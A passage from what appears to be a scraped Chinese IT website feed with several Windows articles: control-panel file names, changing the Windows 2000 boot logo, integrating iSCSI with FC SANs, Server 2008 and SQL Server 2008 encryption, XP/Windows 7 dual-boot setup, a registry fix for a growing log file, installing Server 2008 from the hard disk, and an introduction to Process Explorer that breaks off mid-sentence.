　　Mmsys.cpl
　　声音选项
　　Desk.cpl
　　显示属性
　　Ncpa.cpl
　　网络和拨号连接
　　Inettcpl.cpl
　　IE属性
　　Powercfg.cpl
　　电源
　　Intl.cpl
　　区域选项
　　Sticpl.cpl
　　扫描仪和数字相机
　　Joy.cpl
　　游戏控制器
　　Telephon.cpl
　　电话和调制解调器
　　Main.cpl
　　鼠标
　　Timedate.cpl
　　时间
　　四、修改Windows2000 logo
　　你一定不喜欢启动时刚进入windows2000界面时，屏幕出现&amp;ldquo;正在启动&amp;rdquo;&amp;ldquo;调整计算机应用设置&amp;rdquo;&amp;hellip;&amp;hellip;窗口上方的那张图片(如图6)，
　　今天你就可以把它改掉了。
　　首先，把windows目录下的system32\msgina.dll 拷贝成另外一个文件，用eXeScope打开，再选择右边框中的&amp;ldquo;资源&amp;rdquo;&amp;mdash;&amp;ldquo;图位&amp;rdquo;，然后用自己做的bmp图像替换&amp;ldquo;107&amp;rdquo;、&amp;ldquo;101&amp;rdquo;(注意:所替换的图像一定要和源图像的大小一致)，最后，回到dos替换源文件即可（源自：烈火网 LieHuo.NET）。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>集成iSCSI 和FC SAN有五种常见的方法，各有优缺，适应环境也各不 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9691.html </link>
<description> </description>
<text>

集成iSCSI 和FC SAN有五种常见的方法，各有优缺，适应环境也各不相同。 　　不久前，中小公司开始部署iSCSI，以前他们都采用直连式存储；大公司一直采用FC SAN，而且技术更加成熟。但是，iSCSI技术成本较低、简单明了，《财富》1000强公司中已经有越来越多的公司开始利用iSCSI SAN实施FC基础架构，用以保护数据，实现Tier-2存储。 　　集成iSCSI 和FC也存在很大挑战。将iSCSI引入现有的FC SAN中，不仅会产生集成问题，还会导致一些存储架构变复杂，因为存储架构不仅需要了解IP和FC，还要有能力管理和调试多协议存储环境。试图这么做的存储架构师必须非常熟悉iSCSI的设计选项，因为这些设计会影响集成产品的性能、安全和可用性。 　　性能 　　iSCSI的一些新特性与IP协议的性质密切相关。FC协议适合于连接服务器和阵列的网络，基于IP协议的iSCSI可能会与非存储IP流量竞争。为了减少IP流量混乱带来的影响，数据中心的管理员应该通过专用iSCSI网络分离iSCSI流量和非存储流量，因为专用iSCSI网络与网络其他部分没有物理连接，或者采用访问控制清单、虚拟局域网（VLAN）等以太网隔离技术。华盛顿Spokane公共学校的高级网络管理员Kevin Mount说：&amp;ldquo;为了避免内部LAN产生干涉，我们决定在Foundry公司生产的48端口以太网交换机中独立运行iSCSI网络。&amp;rdquo; 　　尽管物理隔离和虚拟隔离技术大大提高了安全和性能，存储管理员依然需要在网络交换机和适配器中利用以太网巨帧和流量控制等先进技术，缓减阻塞，优化吞吐量。当一条千兆链路的网络带宽不够用时，可以利用以太网链路聚集（trunking）或链路汇集，将多条链路连接成一条聚集链路；这样就不必部署价格昂贵的10Gb以太网基础设施，又能克服网络带宽的限制。 　　在主机方面，TCP卸载引擎（TOE）和iSCSI HBA可以有效节省CPU周期，尤其是对速度较慢但注重性能的应用程序服务器。SNIA IP存储论坛主席David Dale认为，尽管TCP和iSCSI的传输速率为1Gb/s，不足最先进服务器硬件速率的10%，而目前85%的iSCSI在部署过程中只采用iSCSI Initiator软件，但是一旦10Gb iSCSI 得到普及，TOE和iSCSI HBA的作用就会越来越大。除了改善I/O性能，iSCSI HBA还会增加从SAN启动和加密等服务。 　　在多协议环境中，存储管理员需要注意以太网的特性，如以太网交换机和网络接口卡（NIC）之间的容错速度/方式会产生自适应问题，可能对iSCSI网络的性能产生不利影响。Mount 说：&amp;ldquo;为了降低自适应问题发生的概率，我们对所有的交换机和服务器以太网端口设置不可更改的编码。&amp;rdquo; 　　安全 　　iSCSI和FC采用不同的方法保证存储访问的安全，这可能是多协议存储架构师必须解决的最大问题。FC利用FC交换机实行分区，通过全局名称排列LUN编号和主机标识，而iSCSI采用上述隔离iSCSI的物理和虚拟方法，通过IP地址、主机系统和存储设备的名称、内部/外部CHAP身份验证等方式限制访问，从而保证存储安全。 　　实行多种iSCSI身份验证方式似乎让人不知所从，其实规则很简单：对于基于IP实现隔离的iSCSI网络，主机系统和存储设备的名称就已经足够验证用户身份。在iSCSI与LAN之间存在物理连接的情况下，应该部署更加严密的CHAP身份验证方式，消除IP地址访问iSCSI LUN时带来的外部影响。当环境中拥有大量iSCSI设备时，可以采用Radius服务器实现集中验证，这样就不需要在iSCSI的存储设备中管理用户证书。 　　休斯顿贝勒医学院企业服务与信息系统主管Mike Layton采用了类似的策略，他利用主机系统和存储设备名称实现iSCSI授权，验证访问其FC SAN的少量服务器。他的基于日立数据系统（HDS）公司的FC SAN，在隔离的iSCSI LAN中采用NetApp FAS980c网关产品。 　　集成iSCSI和FC的最大好处在于：支持IP协议中的IPsec加密协议，IP流量出现故障时，都应该集成iSCSI和FC。但是，当服务器处于繁忙状态时，IPsec加密协议的开销非常大。在采用IPsec协议的环境中，服务器和网络带宽匮乏的计算机都应该凭借Cavium网络公司等公司提供的硬件加密技术，配备iSCSI HBA或NIC。从网络层面讲，Decru公司（现为NetApp）、NeoScale系统公司等公司都提供加密产品，设置在数据存取路径中，在FC和iSCSI数据抵达网络附属存储阵列之前，就对其进行加密。 　　存储管理接口很容易受到安全漏洞的攻击，但是在存储设计过程中又通常遭到忽视。不设密码、所有存储设备只设一个密码或者从不更改密码，都会使设计良好的SAN面临危险。只有特定系统和密码策略非常有效的VLAN才能访问管理接口，在具有大量IP设备的环境中采用集中化的Radius身份验证服务器，这些措施可以降低未获认证的管理变化带来的风险。 　　可用性 　　可用性是包括iSCSI SAN在内的SAN最重要的性能需求，需要在服务器、网络和阵列等层面上进行部署。在网络层面上，可以成对部署交换机，采用生成树状动态路由等以太网故障转移技术，实现冗余。在服务器层面上，通过双连服务器和以太网交换机，实现高可用性。凭借微软公司2005年发布的iSCSI Initiator 2.0版，多路径IO（MPIO）使主机能够与iSCSI网络实现冗余连接。&amp;ldquo;我们的主机全都运行MPIO，而且与iSCSI SAN实现双连接。&amp;rdquo;麻省 Babson 学院和Wellesley学院开发体系结构主任Kuljit Dharni解释道：&amp;ldquo;主板上的NIC卡用于常规的LAN访问，以太网端口和英特尔PCI千兆网络适配器与iSCSI SAN相连。&amp;rdquo; 　　iSCSI存储设备的冗余选项根据供应商和产品种类而定。iSCSI网关产品、智能存储交换机和基于服务器的iSCSI存储设备，都可以在群集配置中见到，所谓群集配置是指两套设备以双机互备援（active-active）模式或双机热备份（active-passive）模式运行。一些中端存储阵列产品支持iSCSI，如EMC公司的Clariion CX3-20和CX3-40产品，可以通过双控制器架构提供冗余。高端阵列&amp;mdash;&amp;mdash;如EMC 公司的Symmetrix DMX系列产品&amp;mdash;&amp;mdash;需要底盘，只是简单地添加多个iSCSI刃片就能实现冗余。 　　iSCSI集成选项 　　将iSCSI集成到FC SAN中的方法多样、程度不一，取决于现有的存储环境和集成目的。一方面，存储架构师都有各自的目标，如贝勒学院的Layton希望通过iSCSI访问所有的FC存储。另一方面，存储管理员也有各自的目标，如Dharni完全实施iSCSI，不再使用FC SAN。另外，还可以同时运行FC 和iSCSI SAN，Spokane公立学校的Mount和伊利诺伊北伯克（Northbrook）Logs金融服务公司的数据系统管理员Dan Schneidemantle就采用这种方法。 　　在上述的最后一种情况中，设计时需要考虑的关键因素是iSCSI和FC SAN集成的程度。在多协议环境中，存储架构师往往部署iSCSI SAN，并使其与现有的FC架构同时运行，独立管理，以避免产生复杂的集成问题。EqualLogic 产品管理部主任Eric Schott 说：&amp;ldquo;我们的大多数客户独立运行iSCSI SAN和FC SAN。&amp;rdquo;&amp;ldquo;iSCSI LUN和FC LUN采用不同的安全模式，要将其匹配可不是件容易的事。&amp;rdquo;Schott补充道，&amp;ldquo;对许多存储架构师而言，就算集成好处再多，如果会增加系统复杂性也就不值得了。&amp;rdquo; 　　对于由一个供应商提供的多协议存储阵列，可以统一管理iSCSI和FC SAN。EMC、HDS、HP和 Net-App等公司都提供多协议阵列，统一管理iSCSI和FC，在某些情况下还可以管理NAS。FalconStor软件公司、 NetApp公司和Sanrad 公司提供的iSCSI虚拟化产品也可以实现统一存储管理。存储管理员若要将iSCSI集成到现有的SAN中，需要考虑以下集成问题： 　　iSCSI网关 　　支持iSCSI的FC交换机和导向器 　　智能存储交换机和网关 　　基于阵列的iSCSI集成方式 　　基于服务器的iSCSI集成方式 　　支持iSCSI的FC交换机 　　iSCSI网关 　　iSCSI网关可以转换协议，将iSCSI协议转化为FC协议，反之亦然。通常，iSCSI网关至少具有两个FC端口，可以连接到终端FC存储设备；至少具有两个1Gb的以太网端口，和服务器进行IP连接。iSCSI网关把FC LUN作为iSCSI的存储设备，通过IP就可以访问FC存储，无需在服务器中设置FC HBA。常见的网关产品有：博科通讯公司的iSCSI网关、思科系统公司的MDS 9216i、Emulex公司的725/735 iSCSI存储路由器、以及QLogic公司的SANbox 6140智能存储路由器。 　　在SAN中利用iSCSI网关产品实现存储需要两大步骤。首先，FC存储管理员为iSCSI网关提供LUN，然后在iSCSI网关限制iSCSI对FC LUN的访问，只有特定的IP地址、主机系统和存储设备、或者CHAP证书才能访问LUN。一旦完成这些设置，并且在iSCSI客户机上正确配置iSCSI存储设备，就可以在本地磁盘驱动器中看到指定存储。 　　iSCSI网关的主要好处就是，可以十分容易、毫无故障地将其添加到现有的FC SAN中。iSCSI网关不需要FC网络改变架构，只需简单地配置iSCSI Initiator软件，服务器就能访问FC存储。但是，iSCSI网关价格较贵&amp;mdash;&amp;mdash;一套iSCSI网关产品的市场价大约为10,000美元。Windows系统和Linux系统的FC HBA至少需要花费400美元，因此有必要分析成本与收益：只有当大量服务器采用iSCSI网关时，才比较合算。服务器数量较少时，可以在服务器中添加FC HBA，直接连到FC SAN，这样显得更合算。博科公司市场产品部主任Mario Blandini说：&amp;ldquo;你至少需要拥有100台服务器，才能看到iSCSI网关的性价优势。&amp;rdquo; 　　支持iSCSI的FC交换机 　　如果你运行高端FC交换机和导向器，你的供应商很有可能会竭力推荐iSCSI网关，这样你就不必独立部署网关产品。将iSCSI网关放入FC导向器中，你就拥有了独立的管理控制台，继承导向式交换机的所有冗余和性能优势。 　　博科公司提供的SilkWorm 48000交换器就配备SilkWorm FC4-16IP iSCSI网关，交换器具有8个4Gb/sec的FC端口，8个1Gb的以太网端口，聚集的吞吐量达64Gb/sec。同理，思科公司供应IP存储服务模块（8个1Gb的以太网端口）和多协议服务模块（14个2Gb/sec的FC端口、2个1Gb的以太网端口），分别匹配MDS 9200 系列的多层网络交换机and MDS 9500系列的多层导向器。 　　供应商将iSCSI协议载入FC交换机，提供独立的iSCSI网关产品不具备的特性。例如，思科的产品支持虚拟路由冗余协议（VRRP），存储架构师就能为以太网与iSCSI的连接配置可选路径，这时如果主要端口发生故障，以太网端口能继续传输iSCSI。思科的iSCSI服务器负载平衡（iSLB），使存储管理员可以利用一个iSCSI目标入口（target-portal）的IP地址，配置所有的服务器，将以太网端口的任务传输到交换机。交换机将以太网端口的内容传输到iSCSI客户机，这么做不仅可以简化存储管理，还可以设计冗余充分的iSCSI网络，只要允许iSLB通过VRRP自动重新分配无效端口即可。 　　智能存储交换机和网关 　　iSCSI网关受到协议转换的限制，而智能交换机和网关却能提供虚拟化、快照、复制、镜像等存储服务。换句话说，智能交换机和网关就类似于多协议存储阵列，只是它们他们没有附属存储设备。 　　智能交换机和网关可以帮助存储架构师聚集现有存储，添加多协议支持（包括iSCSI），并且在单方管理协议下提供虚拟化、存储管理。NetApp的V系列网关是NetApp的存储控制台，没有附属存储设备，可以将iSCSI、FC和NAS连接到中央存储池。贝勒学院的Layton说：&amp;ldquo;我们用NetApp [FAS] 980c网关替代HDS FC SAN，使得SAN的iSCSI和NAS容量均有所增长。&amp;rdquo; 　　Sanrad公司的iSCSI V-Switch交换机能连接末端的SCSI、FC、iSCSI阵列，同时能将iSCSI连接到前端服务器。与NetApp的V系列网关相似，V-Switch存储服务平台也支持虚拟化、监管、镜像、快照和复制功能。Spokane 公立学校的Mount说：&amp;ldquo;Sanrad公司的iSCSI V-Switch交换机不仅能以iSCSI方式连接到Xiotech公司的FC阵列，也使我们能够统一管理FC存储和SCSI附属SATA存储。&amp;rdquo; 　　但是这种方法也有缺点。LeftHand网络公司解决方案市场部经理Pete Caviness说：&amp;ldquo;交换机中如果没有附属存储设备，虚拟化就会变得很贵，因为你需要为交换机付款，需要获取存储。&amp;rdquo; 　　基于阵列的iSCSI集成方式 　　EMC、HDS、HP、NetApp等大型存储阵列供应商都声称自己的阵列最适用于iSCSI和FC的集成。一些公司根据供应商调整基础架构，多协议阵列，能够统一管理iSCSI和FC，因此非常吸引这些公司的注意力。EMC公司存储产品市场部高级管理员Peter Lavache认为：&amp;ldquo;EMC公司的Navisphere管理套件能从监管、设置、复制等方面对iSCSI和FC实现透明管理。&amp;rdquo; 　　采用多协议阵列，就不必部署iSCSI架桥和网关，主机可以通过iSCSI直接与存储阵列相连。但是这些供应商出售的FC阵列并非全都支持iSCSI，是否支持iSCSI主要取决于阵列的种类和年代。NetApp公司支持iSCSI已有时日， 2003年开始，NetApp公司的所有产品都支持iSCSI。目前，所有的NetApp存储盒默认状态下都支持iSCSI。其它供应商采取的措施相对谨慎。EMC公司的高端产品Symmetrix一开始就支持iSCSI，但是直到不久前，EMC公司才开始提供支持iSCSI的终端产品&amp;mdash;&amp;mdash;Clariion CX3-20和CX3-40阵列。同样，惠普公司的高端产品StorageWorks XP阵列一直支持iSCSI，但是知道2006年才推出支持iSCSI的终端产品 　　StorageWorks EVA阵列 　　目前，微软公司的Windows Storage Server 2003 R2也支持iSCSI。FalconStor公司在IPStor平台中添加FC，在一个存储盒中支持iSCSI、FC和 NAS。IPStor与智能存储交换机类似，拥有存储虚拟化、快照、镜像和复制等先进的存储功能。 　　IPStor与Sanrad公司的iSCSI V-Switch交换机也极为相似，不过有一处差别：IPStor软件几乎可以在所有的配置环境下、在任意服务器平台中运行。Logs金融服务公司的Schneidemantle说：&amp;ldquo;我们之所以选择FalconStor公司的IPStor，是因为IPStor非常灵活，这样，我们就能集成现有的HP MSA1000 FC阵列和FalconStor SATA存储，而这一切都通过IPStor加以管理。&amp;rdquo;他在主数据中心，配置一级、二级数据中心以及IPStor群集中心，二级数据中心可以通过iSCSI将数据复制到IPStor群集中心。 　　基于服务器的iSCSI集成技术最大的好处在于，能够很灵活地提供大量集成需求。缺点是，运行标准服务器的软件很容易产生问题，就如Schneidemantle所发现的那样。他说：&amp;ldquo;我们调整了双机互备援（active-active）模式的IPStor群集故障转移，将其改变为手动转移电力故障，这样两台机器不会产生群集节点。&amp;rdquo; 　　10GbE有望实现 　　10GbE以太网的价格有望下降，成为iSCSI网络有力负担的选择方式。届时，存储架构师也可以采用iSCSI部署高端应用程序，而过去人们一直采用FC存储部署这些程序。IDC研究副主席Robert Grey说：&amp;ldquo;现有的应用程序仍将采用FC，但是越来越多的新型应用程序将会选择iSCSI。&amp;rdquo;  </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>数据安全是任何数据服务解决方案中的一个关键要求，而Windows Se </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9692.html </link>
<description> </description>
<text>

数据安全是任何数据服务解决方案中的一个关键要求，而Windows Server 2008和SQL Server 2008结合起来，通过一个基于加密技术的强大集合提供了一个端对端数据保护。 　　Windows Server 2008依靠内置的IP安全(IPSec)支持，通过网络连接提供加密数据转移。 　　Windows Server 2008提供了一个增强的IPSec执行，这简化了配置和降低了管理费用。 　　NTFS： 　　NTFS是微软Windows NT内核的系列操作系统支持的、一个特别为网络和磁盘配额、文件加密等管理安全特性设计的磁盘格式。 　　为什么应用NTFS呢? 　　压缩功能：包括压缩或解压缩驱动器、文件夹或者特定文件的功能。 　　文件加密：它极大地增强了安全性。 　　更好的伸缩性：划分NTFS 分区要比 FAT 分区大得多，当分区大小增加时，NTFS 的性能并不会降低，而在此情形下 FAT 的性能会降低。 　　恢复磁盘活动的日志记录;它允许 NTFS 在断电或发生其他系统问题时尽快地恢复信息。 　　安装域控制器和 Active Directory 需要使用 NTFS。 　　远程存储：使可移动媒体(如磁带)更易访问，从而扩展了磁盘空间。 　　磁盘配额：可用来监视和控制单个用户使用的磁盘空间量。 　　Windows Server 2008，支持事务的NTFS，它可让NTFS文件系统中的所有操作控制在一个事务中，通过新的内核事务管理器，允许操作系统服务加入到一个事务中。 　　Server 2008 FILESTREAM 数据类型使大型的二进制数据，像文档和图片等可以直接存储到一个NTFS文件系统中;文档和图片仍然是数据库的主要组成部分，并维护事务的一致性。 　　FILESTREAM 使传统的由数据库管理的大型二进制数据可以作为单独的文件存储在数据库之外，它们可以通过使用一个NTFS流API进行访问。使用NTFS流API使普通文件操作可以有效的执行，同时提供所有丰富的数据库服务，包括安全和备份。 　　事务的NTFS也能够和MS DTC(Distributed Transaction Center)通讯。如此，可以使应用程序由数据库调用组成，也包括文件系统的操作(比如文档管理系统)。该事务功能基于SMB 2.0(服务器消息模块)协议建立，因此可以将一个分布式的文件操作包含到一个事务中。 　　TDE： 　　SQL Server 2008中的透明数据加密(TDE)，可以选择同SQL Server 2005中一样使用单元级的加密，或者是使用TDE进行完全数据库级加密、或者是由Windows提供的文件级加密。 　　它旨在为整个数据库提供静态保护而不影响现有的应用程序。对数据库进行加密，传统上都会涉及复杂的应用程序改动，例如修改表schemas、删除函数和明显的性能下降。 　　TDE简单地加密了所有东西，所有的数据类型、键、索引，等等这些可以完全使用而不必牺牲安全或泄漏磁盘上的信息。 　　TDE是文件级的，它和两个Windows特性类似：文件加密系统(EFS)和驱动盘加密。 　　TDE没有替代单元级加密、EFS或BitLocker。TDE适用于大量加密，它可以满足调整遵从性或公共数据安全标准。 　　TDE在数据文件或备份文件会被访问和拷贝时保护数据。当对硬件安全模块的支持和它结合起来，TDE就提供了一个有效的保护存储在桌上电脑中数据库里的数据的方法。此加密确保了当计算机丢失或被盗时，如果没有相应的安全硬件模块，就打不开数据库。为了更好的保护数据，Windows Server 2008提供了增强的Microsoft BitLocker驱动加密技术，可以使用它来加密计算机里所有的硬件磁盘。 　　SQL Server 2008进一步扩展了这个能力，通过支持加密数据库连接，为数据在网络上传输时提供保护，而且还提供新的、强大的显示数据加密(TDE)功能。TDE加密数据库和备份文件中的数据而不必对访问这个数据的客户端应用程序做任何改动。 　　小结： 　　SQL Server 2008和Windows Server 2008结合在一起，提供了一个在安全、遵从性和高有效性方面非常引人注目的解决方案，通过一个强大的验证机制提供了一个安全的平台，这个验证机制将Windows验证和SQL Server集成在一起。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>为了体验DirectX11（Vista没用过的说，DirectX10当然也没用过了 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9633.html </link>
<description> </description>
<text>

为了体验DirectX11（Vista没用过的说，DirectX10当然也没用过了），周六装了Windows7，经过一天的折腾终于做好了Windows7和WindowsXP的双系统。不过我的WindowsXP装在E盘，Windows7装在C盘。网上很多人都说要将WindowsXP装在C盘，Windows7装在其他盘符下。因为WindowsXP的启动文件是默认到C盘下的。不多说了，把我的经验写下来吧！
开始之前，先提提两个软件，因为要用到。
1.EasyBCD2.0 Beta&amp;nbsp; 下载URL=http://x.soso.com/cgi-bin/show_detail?Hash=3F280DD6AEA902376F9A0F84A84F085BCC55CC11###&amp;nbsp;&amp;nbsp; 一定要2.0版本的，其他版本不支持Windows7的。可以先看看教程http://www.metsky.com/archives/95.html，里面也有个下载链接。
2.BCDautofix V1.0.1 下载URL=http://www.piaodown.com/soft/30002.htm&amp;nbsp;这个软件使用很简单，是自动的。只要把前期工作做好了，点击一下就OK！
&amp;nbsp;操作过程：
1.先把WindowsXP安装到E盘下（你也可以安装到其他盘符下）；
2.安装好WindowsXP后，现在可以进入WindowsXP，然后安装Windows7，把Windows7安装在C盘下（谁叫我的C盘空间比E盘的空间大呢！），一步一步把Windows7装好，装好后就可以登录Windows7了，哇哇哇，好漂亮啊！可是刚才的WindowsXP进不去了，因为C盘被Windows7给占据了，原来装XP时的启动信息被冲掉了。我的XP啊，你跑到哪里去了，快回来吧~~~
3.在Windows7下进入&amp;ldquo;磁盘管理&amp;rdquo;，开始-&amp;gt;右键&amp;ldquo;计算机&amp;rdquo;-&amp;gt;&amp;quot;磁盘管理&amp;quot;，在磁盘管理里面看看有没有隐藏分区，其实最好的方式是进入XP系统光盘的WinPE，在WinPE下查看驱动器分区信息。很多自带操作系统的笔记本都会有一个隐藏分区，例如：Acer。因为我的本本是不带操作系统的，而且早就重新分区了，所以没有隐藏分区。安装Windows7会在这个隐藏分区写入信息，如果没有隐藏分区，那么信息就会存放在C盘里。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 要开启显示系统文件和隐藏文件的条件。
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 点击&amp;ldquo;程序&amp;rdquo;-&amp;gt;&amp;ldquo;控制面板&amp;rdquo;-&amp;gt;&amp;ldquo;网络和Internet&amp;rdquo;-&amp;gt;&amp;ldquo;外观和个性化&amp;rdquo;-&amp;gt;&amp;ldquo;文件夹选项&amp;rdquo;-&amp;gt;&amp;ldquo;查看&amp;rdquo;，将&amp;ldquo;隐藏受保护的文件系统&amp;rdquo;前面的勾勾去掉，然后选择&amp;ldquo;显示隐藏的文件、文件夹和驱动器&amp;rdquo;
4.在Windows7下放入XP系统光盘，没有光盘的可以把ISO镜像文件解压缩到硬盘里面，然后将BOOT.INI、NTLDR、NTDETECT.COM这三个文件拷贝到C盘，如果有隐藏分区，就放到隐藏分区里面。注意：这一步至关重要!没有这一步就不能实现系统的双引导！
5.打开BOOT.INI文件，对照一下文件：
&amp;nbsp;&amp;nbsp; [boot loader] &amp;nbsp;&amp;nbsp; timeout=5&amp;nbsp;&amp;nbsp;&amp;nbsp; default=multi(0)disk(0)rdisk(0)partition(3)WINDOWS &amp;nbsp;&amp;nbsp; [operating systems] &amp;nbsp;&amp;nbsp; multi(0)disk(0)rdisk(0)partition(1)WINDOWS=&amp;quot;Microsoft Windows XP Professional&amp;quot; /fastdetect /NoExecute=OptIn
&amp;nbsp;&amp;nbsp; 其中，disk(0)表示第一块硬盘，partition(3)表示磁盘第一个分区(E盘)，数字1代表C盘，2代表D盘，以此类推......timeout是等待时间，默认为30。 &amp;ldquo;Microsoft Windows XP Professional&amp;rdquo;当然是显示的名称了，你可以随便改的。
6.以管理员身份运行启动EasyBCD2.0 Beta软件，右键选择&amp;ldquo;以管理员身份运行&amp;rdquo;。这时在&amp;quot;View Settings&amp;quot;里面可以看到&amp;quot;earlier Windows&amp;quot;，如果没有就需要在&amp;ldquo;Add/Remove Entries&amp;rdquo;里面手动添加了，添加时先选择Driver(E盘)，然后在将Type设定为WindowsNT/2K/XP/2003，添加完成后然后在&amp;ldquo;Change Settings&amp;rdquo;里面设置默认默认进入的操作系统，我选择的是Windows7，在&amp;ldquo;Entry-Based Settings&amp;rdquo;里面选择&amp;quot;earlier Windows&amp;quot;，它的Driver应当是BOOT，网上很多人说是盘符，如果没有BOOT就选择盘符吧！顺便改下名字为Windows XP SP3，好了设置完成后，点击&amp;ldquo;Save Settings&amp;rdquo;保存。附上成功引导后在Windows7下的截图：

7.点击EasyBCD2.0 Beta菜单上的&amp;ldquo;TOOL&amp;rdquo;-&amp;gt;&amp;quot;Restart Computer&amp;quot;，重启电脑！重启后应该能够看到选择系统的选项了，WindowsXP终于被我召唤回来了！
&amp;nbsp;&amp;nbsp; 如果你觉得.EasyBCD2.0 Beta软件很麻烦或者没有成功，那么可以从第5步之后用BCDautofix V1.0.1，这个软件会自动的把Windows7、WindowsXP的启动项恢复过来，只要点击一下，当然前面的步骤一定要做对！教程地址：http://bbs.liehuo.net/viewthread.php?tid=5441
&amp;nbsp;&amp;nbsp; 好了，Windows7在C盘，WindowsXP在其他盘符下的双引导系统启动的大法就是这样了，想做的可以行动了，多试试一定会成功！ </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O415640G420-14600_lit.png </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>w3wp.exe进程会产生一个日志文件 在 C:\Windows\temp\pipe.lo </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9634.html </link>
<description> </description>
<text>

w3wp.exe进程会产生一个日志文件 在 C:\Windows\temp\pipe.log 无休止增长 这个日志文件会无休止的增长。造成系统速度变慢，经常是c盘只剩下0字节。 请问怎么停掉这个进程对日志的记录。 查了一些资料有人说是clrprofile.exe造成的。但是我没有记得我有运行过这个程序。或者是机器上运行了这个程序但是我不知道在哪儿。 不知道是不是这个原因。快被折磨死了。额 以上问题发在msdn操作系统论坛模块没人理我 这个问题又不能不解决。晚上搜了一下发现一个03年的帖子如下。 I got the same problem, however I have overcame it. By any chance have you ever run CLR Profiler/Allocation Profiler? Do you remember it failing? As per CLR Profiler Document (which is little ambiguous) following locations has &amp;quot;Environment&amp;quot; variable which needs to be removed in the case when Profiler results in an error: &amp;bull; HKLM\SYSTEM\CurrentControlSet\Services\IISADMIN (ASP.NET) &amp;bull; HKLM\SYSTEM\CurrentControlSet\Services\W3SVC (ASP.NET) 测试了删除这两个键值问题依然存在。 然后再注册表搜索 clrprofile Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\CLSID\{8C29BC4E-1F57-461A-9B51-1200C32E6F1F}] @=&amp;quot;Microsoft CLR Profiler Test&amp;quot; [HKEY_CLASSES_ROOT\CLSID\{8C29BC4E-1F57-461A-9B51-1200C32E6F1F}\InprocServer32] @=&amp;quot;E:\\Program Files\\CLRProfiler\\Binaries\\x86\\profilerOBJ.dll&amp;quot; &amp;quot;ThreadingModel&amp;quot;=&amp;quot;Both&amp;quot; [HKEY_CLASSES_ROOT\CLSID\{8C29BC4E-1F57-461A-9B51-1200C32E6F1F}\NotInsertable] [HKEY_CLASSES_ROOT\CLSID\{8C29BC4E-1F57-461A-9B51-1200C32E6F1F}\ProgID] @=&amp;quot;Objects Profiler.{8C29BC4E-1F57-461a-9B51-1200C32E6F1F}.1&amp;quot; [HKEY_CLASSES_ROOT\CLSID\{8C29BC4E-1F57-461A-9B51-1200C32E6F1F}\VersionIndependentProgID] @=&amp;quot;Objects Profiler.{8C29BC4E-1F57-461a-9B51-1200C32E6F1F}&amp;quot; 看到这个键的时候。感觉找对地方了 导出然后删除。再启动应用程序池运行网站。不在创建pipe.log文件了。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>今天在 烈火论坛 看到有人问如何在硬盘里安装windows server 200 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9635.html </link>
<description> </description>
<text>

　　今天在烈火论坛看到有人问如何在硬盘里安装windows server 2008. 其实这是对于下载了MSDN光盘镜像的用户来说，省去了刻盘的麻烦而已。
　　具体步骤如下：
　　把Windows Server 2008.iso用DAEMON Tools虚拟光驱加载，然后拷贝到硬盘中，这里是G:\win2k8
　　把G:\win2k8目录下的bootmgr和boot目录拷贝到C盘根目录下,并在C盘根目录下新建一个sources文件夹
　　把E:\win2k8\sources下的 boot.wim 复制到C盘下sourse文件夹内
　　进入命令行模式 输入命令 C:\boot\bootsect.exe /nt60
　　重启计算机，安装程序加载 boot.wim，启动PE环境
　　出现&amp;ldquo;开始安装界面&amp;rdquo;，点左下角&amp;ldquo;修复计算机&amp;rdquo;(repair my computer)
　　进入&amp;ldquo;系统恢复选项&amp;rdquo;，选择最后一项&amp;ldquo;命令提示符&amp;rdquo;(command prompt)，进入DOS窗口
　　执行格式化命令 format c:/q
　　安装系统，执行 G:\win2k8\sources\setup.exe 
　　注意：上述的盘符需要根据你的电脑来确定，本人使用的光驱盘符是G。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>系统进程往往是不少读者操作的禁区，其实借助一些功能强大的工具 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9636.html </link>
<description> </description>
<text>

　　系统进程往往是不少读者操作的&amp;ldquo;禁区&amp;rdquo;，其实借助一些功能强大的工具即可消除对该禁区的恐惧。Process Explorer就是一款系统进程管理工具，它不仅能方便地查看各种系统进程，且能查看在后台执行的处理程序,尤其值得称道的是Process Explorer可方便地终止包括系统关键进程在内的任何进程并可替代系统自带的任务管理器。Process Explorer 可显示有关进程已打开或加载哪些句柄和 DLL 的信息。Process Explorer 的显示由两个子窗口组成。顶部窗口总是显示当前活动进程的列表(包括拥有它们的帐户的名称)，而底部窗口中显示的信息取决于 Process Explorer 所处的模式：如果它处于句柄模式下，则可以看到顶部窗口中的所选进程打开的句柄;如果 Process Explorer 处于 DLL 模式下，则可以看到相应进程已经加载的 DLL 和内存映射文件。Process Explorer 还具有强大的搜索功能，可以快速显示哪些进程打开了哪些特定句柄或加载了哪些特定 DLL。
　　Process Explorer 的独特功能使其可用于跟踪 DLL 版本问题或句柄泄漏问题，还可以让用户深入了解 Windows 和应用程序的工作方式。
　　软件提供的进程查看有很多方式，分别点击主窗口进程列表顶端的Process(进程)、PID(进程身份标识)、CPU(CPU占用率)、Description(描述)和Company Name(公司名)等进行分类排序。如发现有未知来源(如公司名可疑或匿名)的进程，双击该条目即可显示其详细属性，如图

